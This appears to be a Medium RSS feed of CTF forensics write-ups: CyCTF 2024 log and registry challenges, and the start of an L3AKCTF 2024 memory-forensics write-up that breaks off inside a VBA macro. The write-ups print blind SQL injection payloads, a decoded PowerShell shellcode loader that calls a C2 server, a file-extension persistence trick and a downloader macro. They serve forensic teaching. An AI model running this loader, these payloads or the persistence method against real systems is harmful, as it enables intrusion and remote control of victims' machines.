<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Ahmed Ghanem on Medium]]></title>
        <description><![CDATA[Stories by Ahmed Ghanem on Medium]]></description>
        <link>https://medium.com/@0xmr8anem?source=rss-d899a329dd0f------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*USrpBME9ImNNB95jmeHH1w.jpeg</url>
            <title>Stories by Ahmed Ghanem on Medium</title>
            <link>https://medium.com/@0xmr8anem?source=rss-d899a329dd0f------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 28 Nov 2026 18:04:45 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@0xmr8anem/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[CyCTF 2024 Forensics Writeups]]></title>
            <link>https://0xmr8anem.medium.com/cyctf-2024-forensics-writeups-be087d8c34a6?source=rss-d899a329dd0f------2</link>
            <guid isPermaLink="false">https://medium.com/p/be087d8c34a6</guid>
            <category><![CDATA[forensics]]></category>
            <category><![CDATA[logs]]></category>
            <category><![CDATA[blind-sql-injection]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[cyctf]]></category>
            <dc:creator><![CDATA[Ahmed Ghanem]]></dc:creator>
            <pubDate>Sat, 02 Nov 2024 21:17:54 GMT</pubDate>
            <atom:updated>2024-11-04T16:43:41.935Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pcUJ6syhQ6rX5fDKZuStFA.jpeg" /></figure><p>In this writeup, we will dive into the forensics challenges presented in the Cysheild CTF 2024, providing detailed solutions and methodologies used to tackle each Challenge.</p><p><em>— — — — — — — — + — — — — — — — -+ — — — — — +<br>| Challenge | Category <br>+ — — — — — — — — + — — — — — — — -+ — — — — +<br>| </em><strong><em>In</em>jection </strong><em>| Logs Forensics<br>+ — — — — — — — — + — — — — — — — -+ — — — — +<br>| </em><strong><em>Persisted </em></strong><em>| Reg Forensics<br>+ — — — — — — — — + — — — — — — — -+ — — — — +</em></p><blockquote><strong><em>Challenge</em></strong><em>: </em><strong><em>In</em>jection<br>Category: </strong><em>Logs Forensics</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/635/1*yXBGOzeGsF2WT36HT3f3hw.jpeg" /></figure><p>we are given apache2 web server Log files, apache2.rar which contains :</p><ol><li><strong>access.log</strong> : Records all incoming requests to the server ,Includes details like client IP, request URL, response status, and user-agent.</li><li><strong>error.log</strong> : Logs errors encountered by the server, such as issues with requests, server misconfiguration, or missing files.</li><li><strong>modsec_audit.log</strong> : Logs details of requests filtered by <strong>ModSecurity</strong> (a web application firewall) ,Includes request headers, response headers, and sometimes the full payload.</li></ol><p>After we checked the log files , we found a huge amount of errors and logged requests because of sqlmap tool (version 1.8.8) , which used in Detecting and Exploiting SQL injection Vulnerability.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*az7RiEPgeaf23aZCypzK8A.png" /></figure><p>The Purpose of challenge is to know about the structure of modsec_audit.log and it’s audit sections (A-B-C-F-E-H-Z) .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2rbcR7rsD5Gs6uD41epaOA.png" /></figure><p>In <strong>ModSecurity</strong> (or ModSec) audit logs, specifically in modsec_audit.log, there’s a particular structure in which entries are grouped into different sections, often denoted by single-letter tags like A, B, C, etc. These tags represent different parts of the HTTP transaction, and each section provides specific information for analyzing requests, responses, and ModSecurity&#39;s decisions. Here’s what each letter means:</p><p><strong>A — Audit Log Header</strong>:<br>Contains metadata about the request, such as the transaction ID, timestamp, and client IP address. This section is essential for uniquely identifying and timestamping requests.</p><p><strong>B — Request Headers</strong>:<br>Logs all headers sent by the client, like Host, User-Agent, and Accept. It helps identify client details and the intended target URL.</p><p><strong>C — Request Body</strong>:<br>Records the content of the request body, which may include form data, JSON, or XML. This section is useful for inspecting data sent to the server, particularly in POST requests.</p><p><strong>F — Response Body</strong>:<br>Contains the body of the server’s response, such as HTML or JSON. It is valuable for verifying the actual content the server return</p><p><strong>E — Response Headers</strong>:<br>Logs all response headers sent by the server, such as Content-Type, Server, and Set-Cookie. This section provides insights into server responses and helps in checking headers that may reveal sensitive information.</p><p><strong>H — Transaction Handling Information</strong>:<br>Gives the final status of the transaction, including the HTTP status code, action taken by ModSecurity, and log messages. This section is useful for summarizing the outcome and security actions of the request.</p><p><strong>Z — Audit Log Footer</strong>:<br>Marks the end of the transaction entry in the audit log, clearly separating each transaction in the file.</p><p><strong>After we Determined the structure of the </strong><strong>modsec_audit.log, let’s dig deep in our challenge .</strong></p><p>There are two important sections in the log file that will helps us to find what the attacker was able to exfiltrate from the database .</p><ol><li>The C section which contains the body of the request which in our case is the body of post request contains a vulnerable <strong>id </strong>parameter , this section contains the payload used for the attack ,</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7gZHqS-yXoJm902udJ0Rkg.png" /></figure><pre>id=1%20AND%20ORD%28MID%28%28SELECT%20IFNULL%28CAST%28COUNT%28DISTINCT%28schema_name%29%29%20AS%20NCHAR%29%2C0x20%29%20FROM%20INFORMATION_SCHEMA.SCHEMATA%29%2C1%2C1%29%29%3E51&amp;Submit=Submit</pre><p>2. The second important section is E section which contains the response body .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dOu2iY9sfrxMcPtQiIbjkg.png" /></figure><h4>In Our case in the challenge is Content-Based Blind SQL Injection Attacks</h4><p>In this type of blind SQLi, an attacker performs various SQL queries that claim the database TRUE or FALSE responses. Then the attacker observes differences between TRUE and FALSE statements.</p><p>We know this from comparing different responses in the E section .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*E0l78i06PE0Kymwx68AWcw.png" /></figure><p>We found that if the sql query is implemented and returns TRUE , we will find “<strong>User ID exists in the database.</strong>” in the response and if it returns False we will find “<strong>User ID is MISSING from the database.</strong>” in the response .</p><p>At this point we have two things :<br>1. The payload (in the id parameter);<br>2. The way we can check if the payload returns TRUE or FALSE ;</p><p>Now we need to simplify the process of dealing with the file modsec_audit.log , so i used “<strong>find and replace</strong>” method to replace html code in the E section for the <strong>TRUE </strong>response with this simple sentence <strong><br></strong>“<strong>User ID exists in the database.</strong>” and for <strong>FALSE </strong>response with <br>“<strong>User ID is MISSING from the database.</strong>”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EOnIv_XxHqow0iVnOQCyGQ.png" /><figcaption>This is For TRUE</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Np6zjyZ7Na8oXaz9z9ddFw.png" /><figcaption>This for FALSE</figcaption></figure><p>Now we need to extract this two sections only to easy deal with, so i created a python code that :</p><pre>import re<br>import urllib.parse<br><br># Define the file name<br>filename = &#39;modsec_audit.log&#39;<br><br># Regular expression to match lines starting with &#39;--&#39; and ending with &#39;E--&#39;<br>pattern = re.compile(r&#39;^--.*E--$&#39;)<br><br># List to store the results<br>results = []<br><br># Open the file and read it line by line<br>with open(filename, &#39;r&#39;) as file:<br>    lines = file.readlines()<br><br># Loop through each line<br>for i in range(len(lines)):<br>    line = lines[i]<br>    # Check if the line matches the regex pattern<br>    if pattern.match(line):<br>        # If the line matches the regex, add the next line (if it exists)<br>        if i + 1 &lt; len(lines):<br>            next_line = lines[i + 1].strip()  # Capture the next line<br>            results.append(next_line)  # Add the next line to results<br><br># Print the results in the desired format<br>for line in lines:<br>    if line.startswith(&#39;id=&#39;):<br>        # Extract the ID value from the line<br>        id_value = line.split(&#39;&amp;&#39;)[0].split(&quot;=&quot;)[1]<br>        # Decode the URL-encoded ID value<br>        decoded_id = urllib.parse.unquote(id_value)<br>        <br>        # If there&#39;s a corresponding next line in results<br>        if results:<br>            next_line = results.pop(0)  # Get the next line stored from regex match<br>            print(f&quot;{decoded_id} : {next_line}&quot;)</pre><p>1- extracts id parameter value .<br>2- decode it from url encoding .<br>3- get the line the contain the indication of TRUE or FALSE</p><p>In the following format : decoded payload : id missing | id exist</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lBq_hS2lm5WkSfOdMd79Xw.png" /></figure><p>I saved the output to output.txt , then i used “find and replace” to replace <br>“<strong>User ID exists in the database.</strong>” with TRUE and “<strong>User ID is MISSING from the database.</strong>” with FALSE .</p><p>The output will look like the following :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ryd0cN1B9tOOEezQcr_9gA.png" /></figure><p>Now we need to understand the SQL quires to know what the attacker was extracting from the database .</p><p>let’s take an example like :</p><pre>1 AND ORD(MID((SELECT IFNULL(CAST(password AS NCHAR),0x20) FROM dvwa.users ORDER BY `user` LIMIT 0,1),1,1))&gt;64 : FALSE</pre><p>This query used to extract the password of a user from a table named “dvwa.users” and take a specific character and convert it to it’s ASCII number then check it with a number.</p><p>in the following image the arrow number 1 is the place related to user and the number 2 arrow is for the password’s char number</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RATaXyoQII2IeM94ruwtUw.png" /></figure><p>As an example :</p><p>This query extract the char number 31 from the password of user 6 in the table “dvwa.users” and then check if it is greater than 52 or not and we have the answer next to it “TRUE”</p><pre>1 AND ORD(MID((SELECT IFNULL(CAST(password AS NCHAR),0x20) FROM dvwa.users ORDER BY user LIMIT 6,1),31,1))&gt;52 : TRUE</pre><p>How can use this method to get the password ?</p><p>i used grep command to extract all queries related to extraction of password</p><pre>cat output.txt | grep &quot;AND ORD(MID((SELECT IFNULL(CAST(password AS NCHAR),0x20) FROM dvwa.users ORDER BY user LIMIT &quot; </pre><p>The output will look like this :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dQ8Vc3DhKRn6RpUZHzFt4Q.png" /></figure><p>then i get the queries related to a specific user as example user 6 with :</p><pre>1 AND ORD(MID((SELECT IFNULL(CAST(password AS NCHAR),0x20) FROM dvwa.users ORDER BY user LIMIT 6,1),&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9g0LP9JxcvK3SAjgNMtayg.png" /></figure><p>Now we need the quires related to a specific character in the password so i used this command</p><pre>cat output.txt | grep &quot;1 AND ORD(MID((SELECT IFNULL(CAST(password AS NCHAR),0x20) FROM dvwa.users ORDER BY user LIMIT 3,1),1,1))&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Z5EfUPOTMWBck0eOSumX1w.png" /></figure><p>In the Image we are checking for the first char of the password for the<br> user 3 , look at the true and false you will find that the first char for the user 3 is “67” (this is because it is greater that 66 and not greater than 67)</p><p>For the second char :</p><pre>cat output.txt | grep &quot;1 AND ORD(MID((SELECT IFNULL(CAST(password AS NCHAR),0x20) FROM dvwa.users ORDER BY user LIMIT 3,1),2,1))&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Z_FTLZSK70CdrabMOUaBqQ.png" /></figure><p>we can find the second char is “121”</p><p>For the third char :</p><pre>cat output.txt | grep &quot;1 AND ORD(MID((SELECT IFNULL(CAST(password AS NCHAR),0x20) FROM dvwa.users ORDER BY user LIMIT 3,1),3,1))&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*f1mIeKGa-eyFR9vT2gAc7w.png" /></figure><p>you will find that third char is “67”</p><p>NOTE : How i knew that the flag is the third and fourth users password</p><p>The answer is from reversing the beginning of the flag which is converting the C to it’s ascii number and you will get 67 and i searched for the user with first char is 67 is false which means &gt;66 is true</p><p>and for the end of the flag i made the same process and i converted “}” to it’s ascii and i found it at index 19 in the password of user 4</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AHmLGkYxbMYzGZiGUlKs7g.png" /><figcaption>start of the flag</figcaption></figure><p>if you followed this process tell the end of the password of user 3 you will find this “CyCTF{b7fee0604437d7” → first part of the flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hoFnHYBhx4oAispjcGD3ow.png" /></figure><p>and the rest of the flag you will find is the password of user 4 which is <br>“8b228e1d07d01ca626}” → second part of the flag <a href="https://gchq.github.io/CyberChef/#recipe=From_Decimal(&#39;Space&#39;,false)&amp;input=NjcgMTIxIDY3IDg0IDcwIDEyMyA5OCA1NSAxMDIgMTAxIDEwMSA0OCA1NCA0OCA1MiA1MiA1MSA1NSAxMDAgNTUgNTYgOTggNTAgNTAgNTYgMTAxIDQ5IDEwMCA0OCA1NSAxMDAgNDggNDkgOTkgOTcgNTQgNTAgNTQg&amp;oeol=FF">link</a></p><pre>FLAG : CyCTF{b7fee0604437d78b228e1d07d01ca626}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/505/0*cBKXB05puxV8Zdfr" /></figure><blockquote><strong><em>Challenge</em></strong><em>: </em><strong><em>Pe</em>rsisted<br>Category: <em>Re</em></strong><em>g Forensics</em></blockquote><p>To solve the challenge we need to know :</p><ol><li>What is the complete path of the initial registry key responsible for the persistence mechanism?</li><li>What is the name of the file the attacker deployed to execute persistence?</li><li>What are the IP address and port of the C2 server?</li></ol><p>In this challenge we are given 6 registery files :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/851/1*yHpVQzGLUHkSNr-iTaA1rg.png" /></figure><p>These files are part of the Windows registry, a database that stores low-level settings for the operating system and installed applications. Here’s a simple breakdown of each file:</p><ol><li><strong>DEFAULT.hiv</strong>: Contains the default user profile, used as a template for new user profiles. It is often the configuration when no specific user is logged in.</li><li><strong>NTUSER.hiv</strong>: This file is specific to each user account on the system. It stores settings and preferences unique to that user, such as desktop layout, application settings, and personal customization.</li><li><strong>SAM.hiv (Security Account Manager)</strong>: Stores user account information, including usernames and hashed passwords for local users and groups. This file is crucial for managing user access to the system.</li><li><strong>SECURITY.hiv</strong>: Contains security-related policies and settings, including permissions and auditing rules, which control who has access to system resources.</li><li><strong>SOFTWARE.hiv</strong>: Holds information about installed software, such as applications and their configurations. This file is often used by applications to store settings and licensing information.</li><li><strong>SYSTEM.hiv</strong>: Stores details about the hardware and system configuration, including drivers and services that load during startup. It is essential for the operating system’s stability and functionality.</li></ol><p>I invistigated all of this files at once in registery explorer .</p><p>There’s a file that caught my attention at :</p><pre>Software\Microsoft\Windows Defender\Exclusions\TemporaryPaths</pre><p>This registry path is part of the Windows Defender configuration. This specific entry is used to manage temporary file paths that are excluded from Windows Defender&#39;s real-time scanning.</p><p>This done at 2024–10–24 20:59:05</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/895/1*FAltqYljQtGiQovgPAhbzg.png" /></figure><p>There was a file with name cyshell2.ps1.txt , I thought this is the file that attacker used to get a shell on the victim machine.</p><p>After some search with the file name , i found this file is recently opened</p><pre>Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*p6qo4Crgow5p1mNZeGk5WA.png" /></figure><p>I found the file also found at :</p><pre>Software\Microsoft\Windows\Shell\Bags\1\Desktop</pre><p>This used to store specific view settings for the Desktop folder. This path falls under the Bags key, which holds individual folder settings for different locations in File Explorer</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6wcNrGsaS2LgHHAiYCuA9A.png" /></figure><p>At this time i started to search with the time the Windows Defender Execlusion key was edited</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/660/1*QW0NUq7r3IftiU0IIUm2sQ.png" /></figure><p>After digging deep in the output , I found <strong>indications </strong>of registery editing</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tGW1qZ7mq8eTPr2DwRtLQg.png" /></figure><p>The registry key path Software\Microsoft\Windows\CurrentVersion\Applets\Regedit is used to store settings for the Windows Registry Editor (regedit). This path contains configuration data specific to the Registry Editor&#39;s behavior and appearance.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5GGaj7oaP4EaoTkFWFrFiQ.png" /></figure><p>The important thing here is LastKey , This value often stores the last location or key that was accessed in the Registry Editor.</p><p>After I checked the last key accessed , we found it stores a base64 encoded string .</p><pre>Software\Microsoft\GameBarApi</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KjTb7XYO-0h4l-CHiQnypg.png" /></figure><p>After i decoded the string from base64, I found the following malicous powershell code that used for in memory code execution using Windows API Functions .</p><pre>Set-StrictMode -Version 2<br><br>function func_get_proc_address {<br>        Param ($var_module, $var_procedure)<br>        $var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split(&#39;\\&#39;)[-1].Equals(&#39;System.dll&#39;) }).GetType(&#39;Microsoft.Win32.UnsafeNativeMethods&#39;)<br>        $var_gpa = $var_unsafe_native_methods.GetMethod(&#39;GetProcAddress&#39;, [Type[]] @(&#39;System.Runtime.InteropServices.HandleRef&#39;, &#39;string&#39;))<br>        return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod(&#39;GetModuleHandle&#39;)).Invoke($null, @($var_module)))), $var_procedure))<br>}<br><br>function func_get_delegate_type {<br>        Param (<br>                [Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,<br>                [Parameter(Position = 1)] [Type] $var_return_type = [Void]<br>        )<br><br>        $var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName(&#39;ReflectedDelegate&#39;)), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(&#39;InMemoryModule&#39;, $false).DefineType(&#39;MyDelegateType&#39;, &#39;Class, Public, Sealed, AnsiClass, AutoClass&#39;, [System.MulticastDelegate])<br>        $var_type_builder.DefineConstructor(&#39;RTSpecialName, HideBySig, Public&#39;, [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags(&#39;Runtime, Managed&#39;)<br>        $var_type_builder.DefineMethod(&#39;Invoke&#39;, &#39;Public, HideBySig, NewSlot, Virtual&#39;, $var_return_type, $var_parameters).SetImplementationFlags(&#39;Runtime, Managed&#39;)<br><br>        return $var_type_builder.CreateType()<br>}<br><br>If ([IntPtr]::size -eq 8) {<br>        [Byte[]]$var_code = [System.Convert]::FromBase64String(&#39;32ugx9PL6yMjI2JyYnNxcnVrEvFGa6hxQ2uocTtrqHEDa6hRc2sslGlpbhLqaxLjjx9CXyEPA2Li6i5iIuLBznFicmuocQOoYR9rIvNFols7KCFWUaijqyMjI2um41dEayLzc6hrO2eoYwNqIvPAdWvc6mKoF6trIvVuEuprEuOPYuLqLmIi4hvDVtJvIG8HK2Ya8lb7e2eoYwdqIvNFYqgva2eoYz9qIvNiqCerayLzYntie316eWJ7YnpieWugzwNicdzDe2J6eWuoMcps3Nzcfkkjap1USk1KTUZXI2J1aqrFb6rSYplvVAUk3PZrEuprEvFuEuNuEupic2JzYpkZdVqE3PbIUHlrquJim3MjIyNuEupicmJySSBicmKZdKq85dz2yHp4a6riaxLxaqr7bhLqcUsjIWOncXFimch2DRjc9muq5Wug4HNJKXxrqtJrqvlq5OPc3NzcbhLqcXFimQ4lO1jc9qbjLKa+IiMja9zsLKevIiMjyPDKxyIjI8uB3NzcDGhPRmIj9sJ6cjkdeKND2zWe022vtFwfEjW3X1HiRQyOqEi6WLbAVNa0YzDmrI+vX84XYH7R/iAqDrXADq/MXoxe08GKMDev+V83749A5iN2UEZRDmJERk1XGQNuTFlKT09CDBYNEwMLQExOU0JXSkFPRhgDbnBqZgMaDRMYA3RKTUdMVFADbXcDFQ0SGAN3UUpHRk1XDBYNExgDe0FMWwouKSNyZtr1BbmZXBwfvTF4zyxVAXV65wIXDjDJgpb/ltLmzzNrBU31Shf/L0BzGNkSXKjh/yrUNEmaIzQ69tWW1FlbMtr8ebvaJaaoxJ/jdL5AyntkSdY1cy3O1cUwsVTNyOGnRc3xlDUs6Q1uM0lcrfuBMOwghpJ77GEBcHpjja7NEYQ7vjCZkltT1+WUKzbv5EyeRum39fKLw8AnhU4bqpna7zVQDU9prW9TN55nYsWPR46N8TvFhuUvCvM9jYKXhGFqnW3sqXG0HoQBgg31fXjokTvUVSzishpVzRkjYp3TloF13PZrEuqZIyNjI2KbIzMjI2KaYyMjI2KZe4dwxtz2a7BwcGuqxGuq0muq+WKbIwMjI2qq2mKZMbWqwdz2a6DnA6bjV5VFqCRrIuCm41b0e3t7ayYjIyMjc+DLvN7c3BIaEQ0SFRsNEhIVDRIRGiMZ/UuS&#39;)<br><br>        for ($x = 0; $x -lt $var_code.Count; $x++) {<br>                $var_code[$x] = $var_code[$x] -bxor 35<br>        }<br><br>        $var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))<br>        $var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40)<br>        [System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length)<br><br>        $var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type @([IntPtr]) ([Void])))<br>        $var_runme.Invoke([IntPtr]::Zero)<br>}</pre><p>This code used to decode a base64 string then xor it with 35 key .</p><p>I tried to decode it but i was to only get the ip the file tried to connect to but there was a problem with the port number .</p><p>So i saved the content of malicious code to file.ps1 and uploaded it to <a href="https://www.virustotal.com/gui/file/32ee9b0bdb7fdb23af4b8204dcea70452d7282231989c17f191ad69ed0a2e565">virustotal</a> , here is the <a href="https://www.virustotal.com/gui/file/32ee9b0bdb7fdb23af4b8204dcea70452d7282231989c17f191ad69ed0a2e565"><strong>link</strong></a><strong> of file on virus total.</strong></p><p>I was able to get the ip and the port for the command and control server form virus total .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/591/1*jicLEH2wQVgsblWTo5bcvA.png" /></figure><p>After this i thought to search with Gamebarapi to check if there was any call to it .</p><p>And i was right i found the key that contains the command that execute the malicious code .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KgprP0m7mdlF-FrZiCPKeg.png" /></figure><pre>Key Path<br>Software\PhantomAgent\ExecutionScript</pre><p>In this Path i found the command that execute the malicous code. It gets the content of “HKCU\Software\Microsoft\GameBarApi” then decode it from base64</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MHZaEsLIWFgPnooTmfy85Q.png" /></figure><p>there is something caught my attention , which is there was a file with unknown extension 1223.phantom</p><p>i then tried to search with this extention :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*h4J8KQWN-zV3VN9hKMzmuQ.png" /></figure><p>After few seconds of shell script execution there was a new file extention was added .</p><pre>Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts</pre><p>The FileExts section in the Windows Registry holds settings for each file extension recognized by Windows Explorer. It tracks the default application used to open each file type, as well as any user-specified application preferences. Here’s how it’s structured:</p><ul><li><strong>File Extensions</strong>: Each file extension (e.g., .txt, .pdf, .jpg) has its own subfolder under FileExts, containing configurations for that specific file type.</li><li><strong>OpenWithList</strong>: Lists applications that the user has previously chosen to open this file type. This list is shown when you right-click a file and select “Open with…”.</li><li><strong>UserChoice</strong>: Stores the user’s current preferred application for opening the file. Changing the default program in Windows modifies the entry here.</li><li><strong>OpenWithProgids</strong>: Contains the programmatic identifiers (ProgIDs) that associate the file type with various applications.</li></ul><h4>we can see that the attacker added new extention to this key</h4><pre>Key Path<br>Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.phantom</pre><p>After some search i found this attack near to attack called <a href="https://www.ired.team/offensive-security/persistence/hijacking-default-file-extension"><strong>File extension hijacking</strong></a> but in our case the attacker created new extention</p><p><strong>Using </strong><strong>OpenWithList to Add Malicious Programs to “Open With…” Options</strong>:</p><ul><li>The OpenWithList subkey keeps track of applications that a user has previously chosen to open files with. Attackers can add malicious executables to this list, so that even if they do not set the malicious program as the default, users might open it from the &quot;Open with…&quot; context menu.</li><li>This technique is less direct but may still result in malicious execution if users accidentally select the malware.</li></ul><p>after checking this key i found that the attacker set the .phantom extension to open with Powershell.exe .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*APRzb376jum2uljI2bP_fw.png" /></figure><p>At this point I found the persistence Registery key and the malicious file used for persistence:</p><pre>Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.phantom\OpenWithList</pre><p>malicious file for persistent is “1223.phantom”</p><p>so the flag is :</p><pre>Flag : CyCTF{HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.phantom\OpenWithList:1223.phantom:192.168.116.129:80}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/512/1*idrkJuJAYOggvw2YEZWDMg.gif" /></figure><p>Thanks for your time and effort. I hope you liked and enjoyed reading it. ❤️❤️<br>If you have any comments, edits, or another way to solve them, don’t hesitate to contact me: <a href="https://www.linkedin.com/in/ahmed-ghanem-cs/"><strong>Linkedin</strong></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=be087d8c34a6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[L3AKCTF 2024 Forensics Writeups]]></title>
            <link>https://0xmr8anem.medium.com/l3akctf-2024-forensics-writeups-3b5575f07cba?source=rss-d899a329dd0f------2</link>
            <guid isPermaLink="false">https://medium.com/p/3b5575f07cba</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[ctf-walkthrough]]></category>
            <category><![CDATA[forensics]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Ahmed Ghanem]]></dc:creator>
            <pubDate>Tue, 28 May 2024 04:03:26 GMT</pubDate>
            <atom:updated>2024-05-28T04:05:55.208Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DXUavgdmqDvcoo2Nhdj8-g.png" /></figure><p>In this writeup, we will dive into the forensics challenges presented in the L3AK CTF 2024, providing detailed solutions and methodologies used to tackle each Challenge,</p><p><em>— — — — — — — — + — — — — — — — -+ — — — — — +<br>| Challenge | Category <br>+ — — — — — — — — + — — — — — — — -+ — — — — +<br>| </em><strong><em>The Spy</em></strong> <em>| Memory Forensics<br>+ — — — — — — — — + — — — — — — — -+ — — — — +<br>| </em><strong><em>I</em>mpostor </strong><em>| Network Forensics<br>+ — — — — — — — — + — — — — — — — -+ — — — — +</em></p><blockquote><strong>Challenge</strong>: <strong><em>The Spy<br>Category: Memory Forensics</em></strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/625/0*haoJ_6Z_D6ammi83" /></figure><p>You can find challenge file <a href="https://storage.googleapis.com/l3akctf-forensics/memdump.zip">Here</a> .</p><p>After we Downloaded the challenge file , we got memdump.zip which contains a memory dump file memdump.mem</p><p>This is a memory dump for windows OS , so we can use <a href="https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet">volatility3</a> to analyze the memory dump</p><p>I started to check the running process at the time the dump was taken</p><pre>python3 ~/Forensics/Tools/vol3/volatility3-2.4.1/vol.py  -f memdump.mem  windows.pslist</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oQYev59jBrSz3-n0zxovPA.png" /><figcaption>Running Processes</figcaption></figure><p>we found a soffice.exe is running, soffice.exe is a document viewer like Microsoft Office which indicates that there was a document file running</p><p>After that, I started to scan for document files that were loaded to the memory during the dump</p><pre>python3 ~/Forensics/Tools/vol3/volatility3-2.4.1/vol.py  -f memdump.mem  windows.filescan.FileScan | grep -E &quot;*.doc&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*n-oukcyjEMoqs6DZa4kO7Q.png" /><figcaption>document file</figcaption></figure><p>I found that there is only one document file in the memory which was in the Downloads Folder with a name :</p><pre>\Users\Abdelrhman\Downloads\Cyber Security and Computer Forensics BSc(Hons) 2021–22.doc</pre><p>The description of challenge referring to an <strong><em>educational course</em></strong> which I think this document belongs to .</p><p>Then I started to extract this document at the physical address `0x7f84e8a8` to check its content using the following</p><pre>python3 ~/Forensics/Tools/vol3/volatility3-2.4.1/vol.py -f memdump.mem windows.dumpfiles.DumpFiles --physaddr 0x7f84e8a8</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cgqR34MpusGwWav694vWcQ.png" /></figure><p>we successfully extracted the document file, after that, i started to analyze the document file using <a href="http://decalage.info/python/oletools">Oletools</a></p><p>I checked for any Macros in the document using the olevba</p><pre>olevba &quot;file.0x7f84e8a8.0x848906b0.DataSectionObject.Cyber Security and Computer Forensics BSc(Hons) 2021-22.doc.dat&quot;</pre><p>I found the following Visual basic code (Macros) in the document</p><pre>Private Declare PtrSafe Function a1AaQ Lib &quot;urlmon&quot; Alias &quot;URLDownloadToFileA&quot; ( _<br>    ByVal b1BbQ As LongPtr, _<br>    ByVal c1CcQ As String, _<br>    ByVal d1DdQ As String, _<br>    ByVal e1EeQ As Long, 